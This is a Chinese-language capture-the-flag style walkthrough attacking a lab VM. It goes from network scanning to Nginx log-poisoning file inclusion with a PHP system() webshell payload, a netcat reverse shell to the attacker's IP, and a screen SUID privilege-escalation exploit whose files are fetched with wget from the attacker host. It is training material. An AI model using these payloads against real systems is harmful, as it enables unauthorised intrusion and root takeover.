一. 信息收集
1. 主机扫描
arp -scan -l
2.网段扫描
找到相应的ip
nmap -sP 192.168.83.1/24
拿到了靶机的ip
靶机ip是:
192.168.83.150
攻击机的ip是:
192.168.83.136
端口和服务是对应关系的根据计算机网络的应用层协议
3.扫描端口
nmap -p 1-65535 -A 192.168.83.150
看到了111端口tcp协议和80端口--http服务打开
火狐浏览器打开网页,用自带的扩展“wappalyzer”查看页面的一些信息,cms,js版本,
发现只有Nginx(中间件)
4.目录扫描
dirsearch -u 192.168.83.150 -e * -i 200
看到了footer.php是隐藏的查看一下
刷新后页面内容会发生变化,可能存在文件包涵,这个是一个突破口
二. 渗透过程
1. 寻找包含文件的参数
为了验证文件包含的猜想,这里利用burpsuite爆破配合参数fuzz拆解
fuzz链接,文件上传的参数
在GitHub下载,用于后面的爆破
Paramdict参数字典
爆破到了上传的参数file
2. Nginx日志文件包含
先查看一下Nginx的配置,构造payload
http://ip/thankyou.php?file=/etc/nginx/nginx.conf
Ctrl+u查看源代码
access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log;
这两句话说明我们可以查看你日志文件
开启了访问日志(access_log)和错误日志(error_log),这里我们看一下错误日志
记录我们爆破失败的日志记录
hankyou.php?mumua=<?php system($_GET[1])?>
这里记得用burpsuite重复器抓包发送,用浏览器传参会自动将<>转换成URL编码导致php执行失败
这样我们可以通过get--1上传参数了
接着尝试一下命令执行
/thankyou.php?file=/var/log/nginx/error.log&1=whoami
看到了权限说明我们可以进行任意代码攻击
3. 反弹shell
nc -lvvp 6666
构造payload
/thankyou.php?file=/var/log/nginx/error.log&1=nc -e /bin/bash 192.168.83.136 6666
注意是在重发器哪里执行的
反弹shell成功,升级为交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
4. Linux提权
find / -perm -4000 -print 2>/dev/null
这个命令是在Unix或Linux系统中使用find命令来搜索具有特定权限的文件。具体来说,这个命令在文件系统的根目录(/)开始,查找所有设置了setuid位(set user ID on execution)的文件,并将这些文件的路径打印出来
可以看到有两个特殊的命令,exim之前在DC-4的时候试过了,不能完全得到root权限,这里用screen作为突破口,用searchsploit工具搜索一下漏洞
searchsploit screen 4
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./
拷贝到kali主机中
查看41154.sh的文件内容
要编辑三个文件
5.开启http服务
python -m http.server 8888
接下来,我们以文本的形式打开exp.sh文件(因为靶机没有对应的命令,只能手工提取命令了)
根据提示,在桌面创建两个c文件
保存之后,在桌面打开终端,用gcc编译c文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
编译完后,再将这两个c文件删掉,文本让我们用rm命令,我们也可以自己删,接着我们修改exp.sh文件内容
将1到36行的内容全部删除并保存,留下cd /etc后面的命令,接着在/tmp目录下载这三个文件(在靶机的shell命令里面操作)
cd /tmp
wget 192.168.83.136:8888/exp.sh
wget 192.168.83.136:8888/libhax.so
wget 192.168.83.136:8888/rootshell
文件下载完后,赋予exp文件权限并执行exp.sh
chmod 777 exp.sh
./exp.sh
还是这个老问题(好像是kali版本问题,看其他人的博客好像是更换kali版本问题就可以解决了)